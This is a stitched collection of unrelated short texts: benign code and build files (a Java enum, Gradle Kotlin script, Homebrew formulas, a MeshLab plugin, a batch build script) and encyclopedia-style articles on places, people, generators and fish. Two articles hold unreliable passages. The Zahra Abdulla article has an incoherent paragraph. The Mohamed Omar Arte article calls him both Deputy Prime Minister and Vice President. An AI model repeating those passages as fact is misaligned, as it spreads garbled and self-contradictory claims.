* This program is free software: you can redistribute it and/or modify
* published by the Free Software Foundation, either version 3 of the
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*
* along with this program. If not, see <path_to_url
*/
package org.openremote.model.manager;
public enum EventProviderType {
WEBSOCKET, POLLING
}
```
|
The Lena-Angara Plateau (), is a plateau in Siberia. Administratively it is in the Irkutsk Oblast, Russian Federation. The plateau is named after the Lena and Angara rivers, of which it forms the watershed. Rivers on the plateau flow mostly in a south–north direction.
The plateau has rich mining areas where iron and copper ores are extracted, as well as rock-salt, talc and mica. The Lena-Angara Plateau is mostly sparsely populated. The biggest settlements are Ust-Kut, Kirensk, Zheleznogorsk-Ilimsky, as well as the villages of Zhigalovo and Kachug. The Bratsk Reservoir is located in the plateau area.
Geography
The Lena-Angara Plateau rises in the middle part of Irkutsk Oblast, between the Angara River to the west and the Kirenga River, a tributary of the Lena, to the east. To the northwest it is bound by the Angara Range, to the south by the Angara valley, to the southeast by the Primorsky Range, and to the east by the Baikal Range, beyond which lies Lake Baikal.
To the north the Lena-Angara Plateau merges with the Central Siberian Plateau. It extends roughly for over with a maximum width of . The average height of the plateau surface is in the south, decreasing to an average of in the north. Mountaintops are flat and elevations moderate; the highest point is the Namai, a high summit. This same mountain, however, is marked as a peak in the E-8 sheet of the Defense Mapping Agency Navigation charts. The same peak is shown as a summit in the N-48 sheet of the Soviet Topographic Map.
Hydrography
The plateau is dissected by deep river valleys with average depths ranging between and . The upper course of river Lena crosses the plateau roughly from south to north. Its tributaries Kirenga, Ilga, Tutura, Tayura and Kuta join it in the plateau area. The plateau also includes highly developed karst forms such as the Botovskaya Cave.
Flora
There are taiga forests made up mostly of larch, spruce and Siberian pine in the higher areas and larch in the river valleys.
See also
List of mountains and hills of Russia
Geography of Russia § Topography and drainage
References
External links
Physiogeography of the Russian Far East
Central Siberian Plateau
Landforms of Irkutsk Oblast
ru:Лено-Ангарское плато
|
Helen Turner (born 15 October 1977) is a British wheelchair basketball player. She has represented Great Britain at the 2004 Summer Paralympics in Athens, 2008 Summer Paralympics in Beijing and 2012 Summer Paralympics in London. She has won four bronze medals at European championships as part of the Great Britain women's national wheelchair basketball team. She is a 3.5 point player.
Personal
Turner was born on 15 October 1977 in London, England. She lives in Chobham, Surrey. She became a paraplegic at the age of twenty after breaking her back. She has a son, Luke. In 2001, she graduated from the University of Roehampton with a Bachelor's degree in English Language.
Wheelchair basketball
Turner began playing wheelchair basketball for the Aspire Force team in 1999, and made her championship début at the 2003 European Championships, held in Hamburg, Germany. At this event, she finished in bronze position. When she was in rehabilitation after breaking her back at the age of twenty, Turner watched wheelchair basketball in the spinal unit's sport centre. As of 2012, she is classed as a 3.5 point player. Turner has won four bronze medals at various European Championships.
Turner first played for Great Britain in 2003, at the European Championships in Hamburg, where her team finished with a bronze medal. The following year, Turner was part of the team that came eighth at the 2004 Athens Paralympics. Three years on, she won a bronze medal as part of her team at the 2007 European Championships held in Wetzlar, Germany. Her team came eighth at the 2008 Beijing Paralympics, . She won a bronze medal with her team at the 2009 FSB European Championships in Stoke Mandeville, England, was part of the team that came sixth at the 2010 Birmingham World Wheelchair Basketball Championships, and won another bronze medal with her team at the 2011 European Championships in Nazareth. At the 2012 London Paralympics, she was part of the team that came seventh, after winning against the Mexican team.
In August 2012, Turner told BBC Surrey, "[The Paralympics] will be extremely special. We know they will get behind us and cheer us on. It gives us that extra bit of confidence that we need on the court."
Notes
References
British women's wheelchair basketball players
Paralympic wheelchair basketball players for Great Britain
Wheelchair basketball players at the 2004 Summer Paralympics
Wheelchair basketball players at the 2008 Summer Paralympics
Wheelchair basketball players at the 2012 Summer Paralympics
Wheelchair category Paralympic competitors
People with paraplegia
Basketball players from Greater London
Alumni of the University of Roehampton
1977 births
Living people
|
Abchak (, also Romanized as Ābchak; also known as Āchak) is a village in Poshtkuh-e Mugui Rural District, in the Central District of Fereydunshahr County, Isfahan Province, Iran. At the 2006 census, its population was 122, in 21 families.
References
Populated places in Fereydunshahr County
|
Bacchus is a ghost town in Salt Lake County, Utah, United States.
Description
The former community was located on State Route 111 in the western edge of the Salt Lake Valley, near the Oquirrh Mountains. It was established in 1915 when the Hercules Powder Company opened an explosives plant in the town. With improved transportation, the workers moved to more favorable locations, and the town deteriorated into a ghost town between 1930 and 1960. The area is now owned by Northrop Grumman (formerly ATK Aerospace).
See also
List of ghost towns in Utah
References
External links
Ghost towns in Utah
Populated places in Salt Lake County, Utah
Wasatch Front
Salt Lake City metropolitan area
Populated places established in 1915
1915 establishments in Utah
Hercules Inc.
Company towns in Utah
|
was a Japanese poet. He was the first son of Fujiwara no Kanesuke, among the Thirty-six Poetry Immortals and the grandfather of Murasaki Shikibu. Kiyotada was his younger brother. He married a daughter of Fujiwara no Sadakata; their children include Tametoki, the father of Murasaki. He was also acquainted with Ki no Tsurayuki.
External links
the profile and e-text of his poems in Japanese.
Fujiwara clan
961 deaths
Year of birth unknown
10th-century Japanese poets
|
```kotlin
import com.apollographql.apollo.annotations.ApolloExperimental
plugins {
id("org.jetbrains.kotlin.jvm")
id("com.apollographql.apollo")
}
apolloTest()
dependencies {
implementation(libs.apollo.normalizedcache)
implementation(libs.apollo.runtime)
testImplementation(libs.apollo.testingsupport)
testImplementation(libs.apollo.mockserver)
testImplementation(libs.kotlin.test)
}
apollo {
service("fixtures") {
srcDir(file("../models-fixtures/graphql"))
packageName.set("codegen.models")
@OptIn(ApolloExperimental::class)
generateDataBuilders.set(true)
generateFragmentImplementations.set(true)
codegenModels.set("experimental_operationBasedWithInterfaces")
languageVersion.set("1.5")
}
service("animals") {
srcDir(file("graphql"))
flattenModels.set(false)
@OptIn(ApolloExperimental::class)
generateDataBuilders.set(true)
codegenModels.set("experimental_operationBasedWithInterfaces")
packageName.set("animals")
languageVersion.set("1.5")
}
}
```
|
In electricity generation, a generator is a device that converts motion-based power (potential and kinetic energy) or fuel-based power (chemical energy) into electric power for use in an external circuit. Sources of mechanical energy include steam turbines, gas turbines, water turbines, internal combustion engines, wind turbines and even hand cranks. The first electromagnetic generator, the Faraday disk, was invented in 1831 by British scientist Michael Faraday. Generators provide nearly all the power for electrical grids.
In addition to electricity- and motion-based designs, photovoltaic and fuel cell powered generators use solar power and hydrogen-based fuels, respectively, to generate electrical output.
The reverse conversion of electrical energy into mechanical energy is done by an electric motor, and motors and generators are very similar. Many motors can generate electricity from mechanical energy.
Terminology
Electromagnetic generators fall into one of two broad categories, dynamos and alternators.
Dynamos generate pulsing direct current through the use of a commutator.
Alternators generate alternating current.
Mechanically, a generator consists of a rotating part and a stationary part which together form a magnetic circuit:
Rotor: The rotating part of an electrical machine.
Stator: The stationary part of an electrical machine, which surrounds the rotor.
One of these parts generates a magnetic field, the other has a wire winding in which the changing field induces an electric current:
Field winding or field (permanent) magnets: The magnetic field-producing component of an electrical machine. The magnetic field of the dynamo or alternator can be provided by either wire windings called field coils or permanent magnets. Electrically-excited generators include an excitation system to produce the field flux. A generator using permanent magnets (PMs) is sometimes called a magneto, or a permanent magnet synchronous generator (PMSG).
Armature: The power-producing component of an electrical machine. In a generator, alternator, or dynamo, the armature windings generate the electric current, which provides power to an external circuit.
The armature can be on either the rotor or the stator, depending on the design, with the field coil or magnet on the other part.
History
Before the connection between magnetism and electricity was discovered, electrostatic generators were invented. They operated on electrostatic principles, by using moving electrically charged belts, plates and disks that carried charge to a high potential electrode. The charge was generated using either of two mechanisms: electrostatic induction or the triboelectric effect. Such generators generated very high voltage and low current. Because of their inefficiency and the difficulty of insulating machines that produced very high voltages, electrostatic generators had low power ratings, and were never used for generation of commercially significant quantities of electric power. Their only practical applications were to power early X-ray tubes, and later in some atomic particle accelerators.
Faraday disk generator
The operating principle of electromagnetic generators was discovered in the years of 1831–1832 by Michael Faraday. The principle, later called Faraday's law, is that an electromotive force is generated in an electrical conductor which encircles a varying magnetic flux.
He also built the first electromagnetic generator, called the Faraday disk; a type of homopolar generator, using a copper disc rotating between the poles of a horseshoe magnet. It produced a small DC voltage.
This design was inefficient, due to self-cancelling counterflows of current in regions of the disk that were not under the influence of the magnetic field. While current was induced directly underneath the magnet, the current would circulate backwards in regions that were outside the influence of the magnetic field. This counterflow limited the power output to the pickup wires and induced waste heating of the copper disc. Later homopolar generators would solve this problem by using an array of magnets arranged around the disc perimeter to maintain a steady field effect in one current-flow direction.
Another disadvantage was that the output voltage was very low, due to the single current path through the magnetic flux. Experimenters found that using multiple turns of wire in a coil could produce higher, more useful voltages. Since the output voltage is proportional to the number of turns, generators could be easily designed to produce any desired voltage by varying the number of turns. Wire windings became a basic feature of all subsequent generator designs.
Jedlik and the self-excitation phenomenon
Independently of Faraday, Ányos Jedlik started experimenting in 1827 with the electromagnetic rotating devices which he called electromagnetic self-rotors. In the prototype of the single-pole electric starter (finished between 1852 and 1854) both the stationary and the revolving parts were electromagnetic. It was also the discovery of the principle of dynamo self-excitation, which replaced permanent magnet designs. He also may have formulated the concept of the dynamo in 1861 (before Siemens and Wheatstone) but did not patent it as he thought he was not the first to realize this.
Direct current generators
A coil of wire rotating in a magnetic field produces a current which changes direction with each 180° rotation, an alternating current (AC). However many early uses of electricity required direct current (DC). In the first practical electric generators, called dynamos, the AC was converted into DC with a commutator, a set of rotating switch contacts on the armature shaft. The commutator reversed the connection of the armature winding to the circuit every 180° rotation of the shaft, creating a pulsing DC current. One of the first dynamos was built by Hippolyte Pixii in 1832.
The dynamo was the first electrical generator capable of delivering power for industry.
The Woolrich Electrical Generator of 1844, now in Thinktank, Birmingham Science Museum, is the earliest electrical generator used in an industrial process. It was used by the firm of Elkingtons for commercial electroplating.
The modern dynamo, fit for use in industrial applications, was invented independently by Sir Charles Wheatstone, Werner von Siemens and Samuel Alfred Varley. Varley took out a patent on 24 December 1866, while Siemens and Wheatstone both announced their discoveries on 17 January 1867, the latter delivering a paper on his discovery to the Royal Society.
The "dynamo-electric machine" employed self-powering electromagnetic field coils rather than permanent magnets to create the stator field. Wheatstone's design was similar to Siemens', with the difference that in the Siemens design the stator electromagnets were in series with the rotor, but in Wheatstone's design they were in parallel. The use of electromagnets rather than permanent magnets greatly increased the power output of a dynamo and enabled high power generation for the first time. This invention led directly to the first major industrial uses of electricity. For example, in the 1870s Siemens used electromagnetic dynamos to power electric arc furnaces for the production of metals and other materials.
The dynamo machine that was developed consisted of a stationary structure, which provides the magnetic field, and a set of rotating windings which turn within that field. On larger machines the constant magnetic field is provided by one or more electromagnets, which are usually called field coils.
Large power generation dynamos are now rarely seen due to the now nearly universal use of alternating current for power distribution. Before the adoption of AC, very large direct-current dynamos were the only means of power generation and distribution. AC has come to dominate due to the ability of AC to be easily transformed to and from very high voltages to permit low losses over large distances.
Synchronous generators (alternating current generators)
Through a series of discoveries, the dynamo was succeeded by many later inventions, especially the AC alternator, which was capable of generating alternating current. It is commonly known to be the Synchronous Generators (SGs). The synchronous machines are directly connected to the grid and need to be properly synchronized during startup. Moreover, they are excited with special control to enhance the stability of the power system.
Alternating current generating systems were known in simple forms from Michael Faraday's original discovery of the magnetic induction of electric current. Faraday himself built an early alternator. His machine was a "rotating rectangle", whose operation was heteropolar - each active conductor passed successively through regions where the magnetic field was in opposite directions.
Large two-phase alternating current generators were built by a British electrician, J.E.H. Gordon, in 1882. The first public demonstration of an "alternator system" was given by William Stanley, Jr., an employee of Westinghouse Electric in 1886.
Sebastian Ziani de Ferranti established Ferranti, Thompson and Ince in 1882, to market his Ferranti-Thompson Alternator, invented with the help of renowned physicist Lord Kelvin. His early alternators produced frequencies between 100 and 300 Hz. Ferranti went on to design the Deptford Power Station for the London Electric Supply Corporation in 1887 using an alternating current system. On its completion in 1891, it was the first truly modern power station, supplying high-voltage AC power that was then "stepped down" for consumer use on each street. This basic system remains in use today around the world.
After 1891, polyphase alternators were introduced to supply currents of multiple differing phases. Later alternators were designed for varying alternating-current frequencies between sixteen and about one hundred hertz, for use with arc lighting, incandescent lighting and electric motors.
Self-excitation
As the requirements for larger scale power generation increased, a new limitation rose: the magnetic fields available from permanent magnets. Diverting a small amount of the power generated by the generator to an electromagnetic field coil allowed the generator to produce substantially more power. This concept was dubbed self-excitation.
The field coils are connected in series or parallel with the armature winding. When the generator first starts to turn, the small amount of remanent magnetism present in the iron core provides a magnetic field to get it started, generating a small current in the armature. This flows through the field coils, creating a larger magnetic field which generates a larger armature current. This "bootstrap" process continues until the magnetic field in the core levels off due to saturation and the generator reaches a steady state power output.
Very large power station generators often utilize a separate smaller generator to excite the field coils of the larger. In the event of a severe widespread power outage where islanding of power stations has occurred, the stations may need to perform a black start to excite the fields of their largest generators, in order to restore customer power service.
Specialised types of generator
Direct current (DC)
A dynamo uses commutators to produce direct current. It is self-excited, i.e. its field electromagnets are powered by the machine's own output. Other types of DC generators use a separate source of direct current to energise their field magnets.
Homopolar generator
A homopolar generator is a DC electrical generator comprising an electrically conductive disc or cylinder rotating in a plane perpendicular to a uniform static magnetic field. A potential difference is created between the center of the disc and the rim (or ends of the cylinder), the electrical polarity depending on the direction of rotation and the orientation of the field.
It is also known as a unipolar generator, acyclic generator, disk dynamo, or Faraday disc. The voltage is typically low, on the order of a few volts in the case of small demonstration models, but large research generators can produce hundreds of volts, and some systems have multiple generators in series to produce an even larger voltage. They are unusual in that they can produce tremendous electric current, some more than a million amperes, because the homopolar generator can be made to have very low internal resistance.
Magnetohydrodynamic (MHD) generator
A magnetohydrodynamic generator directly extracts electric power from moving hot gases through a magnetic field, without the use of rotating electromagnetic machinery. MHD generators were originally developed because the output of a plasma MHD generator is a flame, well able to heat the boilers of a steam power plant. The first practical design was the AVCO Mk. 25, developed in 1965. The U.S. government funded substantial development, culminating in a 25 MW demonstration plant in 1987. In the Soviet Union from 1972 until the late 1980s, the MHD plant U 25 was in regular utility operation on the Moscow power system with a rating of 25 MW, the largest MHD plant rating in the world at that time. MHD generators operated as a topping cycle are currently (2007) less efficient than combined cycle gas turbines.
Alternating current (AC)
Induction generator
Induction AC motors may be used as generators, turning mechanical energy into electric current. Induction generators operate by mechanically turning their rotor faster than the simultaneous speed, giving negative slip. A regular AC non-simultaneous motor usually can be used as a generator, without any changes to its parts. Induction generators are useful in applications like minihydro power plants, wind turbines, or in reducing high-pressure gas streams to lower pressure, because they can recover energy with relatively simple controls. They do not require another circuit to start working because the turning magnetic field is provided by induction from the one they have. They also do not require speed governor equipment as they inherently operate at the connected grid frequency.
An induction generator must be powered with a leading voltage; this is usually done by connection to an electrical grid, or by powering themselves with phase correcting capacitors.
Linear electric generator
In the simplest form of linear electric generator, a sliding magnet moves back and forth through a solenoid - a copper wire or a coil. An alternating current is induced in the wire, or loops of wire, by Faraday's law of induction each time the magnet slides through. This type of generator is used in the Faraday flashlight. Larger linear electricity generators are used in wave power schemes.
Variable-speed constant-frequency generators
Grid-connected generators deliver power at a constant frequency. For generators of the synchronous or induction type, the primer mover speed turning the generator shaft must be at a particular speed (or narrow range of speed) to deliver power at the required utility frequency. Mechanical speed-regulating devices may waste a significant fraction of the input energy to maintain a required fixed frequency.
Where it is impractical or undesired to tightly regulate the speed of the prime mover, doubly fed electric machines may be used as generators. With the assistance of power electronic devices, these can regulate the output frequency to a desired value over a wider range of generator shaft speeds. Alternatively, a standard generator can be used with no attempt to regulate frequency, and the resulting power converted to the desired output frequency with a rectifier and converter combination. Allowing a wider range of prime mover speeds can improve the overall energy production of an installation, at the cost of more complex generators and controls. For example, where a wind turbine operating at fixed frequency might be required to spill energy at high wind speeds, a variable speed system can allow recovery of energy contained during periods of high wind speed.
Common use cases
Power station
A power station, also known as a power plant or powerhouse and sometimes generating station or generating plant, is an industrial facility that generates electricity. Most power stations contain one or more generators, or spinning machines converting mechanical power into three-phase electrical power. The relative motion between a magnetic field and a conductor creates an electric current. The energy source harnessed to turn the generator varies widely. Most power stations in the world burn fossil fuels such as coal, oil, and natural gas to generate electricity. Cleaner sources include nuclear power, and increasingly used renewables such as the sun, wind, waves and running water.
Vehicular generators
Roadway vehicles
Motor vehicles require electrical energy to power their instrumentation, keep the engine itself operating, and recharge their batteries. Until about the 1960s motor vehicles tended to use DC generators (dynamos) with electromechanical regulators. Following the historical trend above and for many of the same reasons, these have now been replaced by alternators with built-in rectifier circuits.
Bicycles
Bicycles require energy to power running lights and other equipment. There are two common kinds of generator in use on bicycles: bottle dynamos which engage the bicycle's tire on an as-needed basis, and hub dynamos which are directly attached to the bicycle's drive train. The name is conventional as these they are small permanent-magnet alternators, not self-excited DC machines as are dynamos. Some electric bicycles are capable of regenerative braking, where the drive motor is used as a generator to recover some energy during braking.
Sailboats
Sailing boats may use a water- or wind-powered generator to trickle-charge the batteries. A small propeller, wind turbine or turbine is connected to a low-power generator to supply currents at typical wind or cruising speeds.
Recreational vehicles
Recreational vehicles need an extra power supply to power their onboard accessories, including air conditioning units, and refrigerators. An RV power plug is connected to the electric generator to obtain a stable power supply.
Electric scooters
Electric scooters with regenerative braking have become popular all over the world. Engineers use kinetic energy recovery systems on the scooter to reduce energy consumption and increase its range up to 40-60% by simply recovering energy using the magnetic brake, which generates electric energy for further use. Modern vehicles reach speed up to 25–30 km/h and can run up to 35–40 km.
Genset
An engine-generator is the combination of an electrical generator and an engine (prime mover) mounted together to form a single piece of self-contained equipment. The engines used are usually piston engines, but gas turbines can also be used, and there are even hybrid diesel-gas units, called dual-fuel units. Many different versions of engine-generators are available - ranging from very small portable petrol powered sets to large turbine installations. The primary advantage of engine-generators is the ability to independently supply electricity, allowing the units to serve as backup power sources.
Human powered electrical generators
A generator can also be driven by human muscle power (for instance, in field radio station equipment).
Human powered electric generators are commercially available, and have been the project of some DIY enthusiasts. Typically operated by means of pedal power, a converted bicycle trainer, or a foot pump, such generators can be practically used to charge batteries, and in some cases are designed with an integral inverter. An average "healthy human" can produce a steady 75 watts (0.1 horsepower) for a full eight hour period, while a "first class athlete" can produce approximately 298 watts (0.4 horsepower) for a similar period, at the end of which an undetermined period of rest and recovery will be required. At 298 watts, the average "healthy human" becomes exhausted within 10 minutes. The net electrical power that can be produced will be less, due to the efficiency of the generator. Portable radio receivers with a crank are made to reduce battery purchase requirements, see clockwork radio. During the mid 20th century, pedal powered radios were used throughout the Australian outback, to provide schooling (School of the Air), medical and other needs in remote stations and towns.
Mechanical measurement
A tachogenerator is an electromechanical device which produces an output voltage proportional to its shaft speed. It may be used for a speed indicator or in a feedback speed control system. Tachogenerators are frequently used to power tachometers to measure the speeds of electric motors, engines, and the equipment they power. Generators generate voltage roughly proportional to shaft speed. With precise construction and design, generators can be built to produce very precise voltages for certain ranges of shaft speeds.
Equivalent circuit
An equivalent circuit of a generator and load is shown in the adjacent diagram. The generator is represented by an abstract generator consisting of an ideal voltage source and an internal impedance. The generator's and parameters can be determined by measuring the winding resistance (corrected to operating temperature), and measuring the open-circuit and loaded voltage for a defined current load.
This is the simplest model of a generator, further elements may need to be added for an accurate representation. In particular, inductance can be added to allow for the machine's windings and magnetic leakage flux, but a full representation can become much more complex than this.
See also
Diesel generator
Electricity generation
Electric motor
Engine-generator
Faraday's law of induction
Gas turbine
Generation expansion planning
Goodness factor
Hydropower
Steam generator (boiler)
Steam generator (railroad)
Steam turbine
Superconducting electric machine
Thermogenerator
Thermal power station
Tidal stream generator
References
English inventions
19th-century inventions
|
```ruby
class Libdpp < Formula
desc "C++ Discord API Bot Library"
homepage "path_to_url"
url "path_to_url"
sha256 your_sha256_hash
license "Apache-2.0"
bottle do
sha256 cellar: :any, arm64_sonoma: your_sha256_hash
sha256 cellar: :any, arm64_ventura: your_sha256_hash
sha256 cellar: :any, arm64_monterey: your_sha256_hash
sha256 cellar: :any, sonoma: your_sha256_hash
sha256 cellar: :any, ventura: your_sha256_hash
sha256 cellar: :any, monterey: your_sha256_hash
sha256 cellar: :any_skip_relocation, x86_64_linux: your_sha256_hash
end
depends_on "cmake" => :build
depends_on xcode: ["12.0", :build]
depends_on "libsodium"
depends_on "openssl@3"
depends_on "opus"
depends_on "pkg-config"
uses_from_macos "zlib"
def install
system "cmake", "-S", ".", "-B", "build", "-DDPP_CORO=on", *std_cmake_args
system "cmake", "--build", "build"
system "cmake", "--install", "build"
end
test do
(testpath/"test.cpp").write <<~EOS
#include <dpp/dpp.h>
int main() {
dpp::cluster bot("invalid_token");
bot.on_log(dpp::utility::cout_logger());
try {
bot.start(dpp::st_wait);
}
catch(dpp::invalid_token_exception& e) {
std::cout << "Invalid token." << std::endl;
return 0;
}
return 0;
}
EOS
system ENV.cxx, "-std=c++17", "-L#{lib}", "-I#{include}", "test.cpp", "-o", "test", "-ldpp"
assert_equal "Invalid token.", shell_output("./test").strip
end
end
```
|
```c++
/****************************************************************************
* MeshLab o o *
* A versatile mesh processing toolbox o o *
* _ O _ *
* Visual Computing Lab /\/| *
* ISTI - Italian National Research Council | *
* \ *
* All rights reserved. *
* *
* This program is free software; you can redistribute it and/or modify *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* for more details. *
* *
****************************************************************************/
#include "edit_panosample_factory.h"
#include "edit_panosample.h"
EditPanosampleFactory::EditPanosampleFactory()
{
editPanosample = new QAction(QIcon(":/images/paintbrush-22.png"), "Z-painting", this);
actionList << editPanosample;
foreach(QAction *editAction, actionList)
editAction->setCheckable(true);
}
//gets a list of actions available from this plugin
QList<QAction *> EditPanosampleFactory::actions() const
{
return actionList;
}
//get the edit tool for the given action
MeshEditInterface* EditPanosampleFactory::getMeshEditInterface(QAction *action)
{
if (action == editPanosample)
{
return new EditPanosamplePlugin();
} else assert(0); //should never be asked for an action that isnt here
return NULL;
}
QString EditPanosampleFactory::getEditToolDescription(QAction *)
{
return EditPanosamplePlugin::Info();
}
MESHLAB_PLUGIN_NAME_EXPORTER(EditPanosampleFactory)
```
|
Zahra Abdulla (, ; born 1966) is a Somali-born Finnish politician. She was a member of the Helsinki City Council from 1997 to 2017, representing the Green League.
Biography
Zahra was born in Somalia in 1966. She spent her early years in Egypt and Kenya.
She later studied medicine in Moscow. However, the dissolution of the Soviet Union and the simultaneous breakout of the Somali Civil War in her native country forced her to apply for political asylum in neighboring Finland. She eventually received Finnish citizenship in 1998.
Zahra lives in Lauttasaari, Helsinki. She speaks fluent Finnish, English, Somali, Arabic and Russian.
Political career
Working for a time as a midwife, Zahra later moved on to a career in politics. In the Finnish parliamentary elections of 2007, she came close to becoming the first Somali immigrant to be elected to the Parliament of Finland. However, very near the end of the vote counting, she was beaten out by fellow Green League candidate Outi Alanko-Kahiluoto by only a few hundred votes (4586 vs. 4174).
In October of the following year, Zahra was elected to the Helsinki City Council with nearly 2,500 votes, "a large number of which were given in areas where immigrants hardly show up as a blip on the local population register." Reasons cited for Zahra's success in the elections were her high educational level, and considerable local support for the Green League.
In 2015 Zahra resigned from the Greens' council group, faced claims that her and Sirkku Ingervo's departure from the party was due to Ingervo's disappointment in the group's internal elections.
In 2015 Finnish parliamentary election, she supported Veronika Honkasalo from the Left Alliance.
Even though there are more than 400 people with immigrant backgrounds. Some of the candidates believe that the parties were ejected by immigrants because of their vision. Including the Bellman Prize in 1977.
Notes
References
Zahra Abdulla's official campaign site
Zahra Abdulla's campaign wasn't enough, Helsingin Sanomat
The new parliament, YLE
1966 births
Living people
Left Alliance (Finland) politicians
Somalian emigrants to Finland
Somalian expatriates in Russia
Finnish Muslims
Finnish midwives
21st-century Finnish women politicians
21st-century Finnish politicians
Naturalized citizens of Finland
21st-century Somalian women politicians
21st-century Somalian politicians
|
Mohamed Omar Arte (, ) is a Somali politician. He is the former Vice President of Somalia.
Personal life
Arte hails from the Sa'ad Musa sub-division of the Habr Awal Isaaq clan. He is the son of former Prime Minister of Somalia Umar Arteh Ghalib.
Vice President of Somalia
Appointment
On 12 January 2015, Arte was appointed Deputy Prime Minister by Prime Minister Omar Abdirashid Ali Sharmarke. On the 17 January 2015, Prime Minister Sharmarke dissolved his newly nominated cabinet due to vehement opposition by legislators, who rejected the reappointment of certain former ministers. On 27 January 2015, Sharmarke appointed a new, smaller 20 minister Cabinet of which Mohamed Omar Arte was again named Vice President of Somalia of Somalia. This time, he was concurrently named Minister of Labor, Youth and Sports. On 6 February, Sharmarke finalized his cabinet, consisting of 26 ministers, 14 state ministers, and 26 deputy ministers of which Mohamed Omar Arte now held the sole post of Vice President of Somalia . He has now been succeeded by Mahdi Ahmed Guled.
Anti-terrorism law
In May 2015, Vice President of Somalia Arte chaired a Federal Cabinet meeting, his first since being lightly wounded during an Al-Shabaab attack on the Central Hotel in Mogadishu in February of the year. The Council of Ministers therein passed an anti-terrorism law. The bill had earlier been approved by the federal ministers, but was subsequently repealed by lawmakers who called for amendments to the legislation. It is part of the government's broader strategy against Al-Shabaab and other anti-peace elements. The law aims to strengthen national security by more effectively countering radicalization and rooting out extremism. It is now slated to be put before parliament for deliberation.
References
Living people
Government ministers of Somalia
Year of birth missing (living people)
|
Dek Island (Amharic: ደቅ ደሴት Däq Däset) is the biggest island (approximately 16 square kilometers in size) on Lake Tana in Ethiopia. It is administratively included in the Bahir Dar Zuria woreda of the Mirab Gojjam Zone. To the southeast of Dek is the much smaller Daga Island.
Overview
Dek Island is home to several monasteries, the best-known being Narga Selassie. Dek is accessible by the ferry that runs from Bahir Dar to Gorgora. Hormuzd Rassam mentions visiting the island in February 1866, describing that at the time it contained four villages with a church attached to each one. Rassam also repeats the story told to him how Dejazmach Kassa (the later Emperor Tewodros II) captured Dek in a single assault.
When R.E. Cheesman visited Dek in 1932 and 1933, he found that it was not strictly "monasterial", but with five churches each with a small village nearby. Cheesman continues his description:
Three-quarters of the island is given up to plough, the chief crops being dagusa and teff, both dwarf millets. Plough-land is divided into plots of about an acre, separated from each other by narrow hedges of scrub forest and big trees. The base of the island is scoriaceous lava in cubes, which are exposed all around the shore and washed by the waves, and identified as vesicular olivine basalt. On the top is a thin layer of red soil derived from the decay of the basalts. The fauna consists chiefly of birds and butterflies that can fly the 5 miles. Animals, as may be expected, are almost absent, though I trapped two kinds of rat; big pythons are numerous in the reed beds and are sometimes found exhausted out at sea and have been known to land on tankwas as unwelcome passengers. Mosquitoes on the islands were very bad.
Demographics
Based on the 2007 national census conducted by the Central Statistical Agency of Ethiopia (CSA), the kebele which includes Dek has a total population of 4,816, of whom 2,503 are men and 2,313 women; a total of 1,218 households were counted in this kebele, resulting in an average of 3.95 persons to a household, which less than the woreda average of 4.45 persons, and 1,197 housing units. The 1994 national census reported a total population for this woreda of 5,099 people in 1,028 households, of whom 2,683 were men and 2,416 were women.
Notes
Islands of Lake Tana
Amhara Region
|
```batchfile
cls
call ..\..\..\language\build\locatevc.bat
cl /c /DEBUG mylibMandel.c -I"..\..\..\language\include"
link /DEBUG mylibMandel.obj ..\..\..\lib\ring.lib /DLL /OUT:mylibMandel.dll /SUBSYSTEM:CONSOLE,"5.01"
del mylibMandel.obj
```
|
Filip Vecheta (born 15 February 2003) is a Czech footballer who currently plays as a forward for Slovácko.
Career statistics
Club
Notes
References
2003 births
Living people
Czech men's footballers
Czech Republic men's youth international footballers
Men's association football forwards
Czech First League players
1. SC Znojmo FK players
1. FC Slovácko players
|
Tahar Aziz (born 19 November 1950) is a Moroccan boxer. He competed in the men's light flyweight event at the 1968 Summer Olympics. At the 1968 Summer Olympics, he defeated David Nata of Zambia, before losing to Hubert Skrzypczak of Poland.
References
1950 births
Living people
Moroccan male boxers
Olympic boxers for Morocco
Boxers at the 1968 Summer Olympics
Sportspeople from Casablanca
Light-flyweight boxers
20th-century Moroccan people
|
Hypsagoninae is a subfamily of marine ray-finned fishes belonging to the family Agonidae, part of the sculpin superfamily Cottoidea. These fishes are found in the North Pacific Ocean.
Taxonomy
Hypsagoninae was first proposed as a taxonomic grouping in 1861 by the American zoologist Theodore Gill. Some workers have regarded the genus Agonomalus as synonymous with Hypsagonus and place the two remaining genera in the subfamily Percidinae which was also named by Gill in 1897. However, most authorities recognise the three genera and place the in the subfamily Hypsagoninae. The 5th editiuon of Fishes of the World classifies the Hypsagoninae within the family Agonidae, part of the superfamily Cottoidea, the sculpins.
Genera
Hypsagoninae contains following 3 genera:
Characteristics
Hypsagoninae sculpins typically have deep, laterally compressed bodies with a termional mouth which has nearly equal jaws, The rear edge of the orbit is convex. The bony plates on the body are arranged in groups and rows which are bot clearly distinct and do not have exact margins and are made up of plates that differ in size and shape. There are plates on the first dorsal fin and the pectoral fin and there is no enlarged plate on the snout. The first dorsal fin is supported by strong spines. The smallest species is the kelp poacher (Agonomalus mozinoi) which has a maximum published total length of while the largest is the dragon poacher (Percis japonica) ith a maximum published total length of .
Distribution
Hypsagoninae sculpins are found in the northern Pacific Ocean from Japan north to the Chukchi Sea and south to California.
References
Agonidae
Ray-finned fish subfamilies
|
```ruby
class Libgccjit < Formula
desc "JIT library for the GNU compiler collection"
homepage "path_to_url"
license "GPL-3.0-or-later" => { with: "GCC-exception-3.1" }
head "path_to_url", branch: "master"
stable do
url "path_to_url"
mirror "path_to_url"
sha256 your_sha256_hash
# Branch from the Darwin maintainer of GCC, with a few generic fixes and
# Apple Silicon support, located at path_to_url
patch do
url "path_to_url"
sha256 your_sha256_hash
end
end
livecheck do
formula "gcc"
end
bottle do
rebuild 1
sha256 arm64_sonoma: your_sha256_hash
sha256 arm64_ventura: your_sha256_hash
sha256 arm64_monterey: your_sha256_hash
sha256 sonoma: your_sha256_hash
sha256 ventura: your_sha256_hash
sha256 monterey: your_sha256_hash
sha256 x86_64_linux: your_sha256_hash
end
# The bottles are built on systems with the CLT installed, and do not work
# out of the box on Xcode-only systems due to an incorrect sysroot.
pour_bottle? only_if: :clt_installed
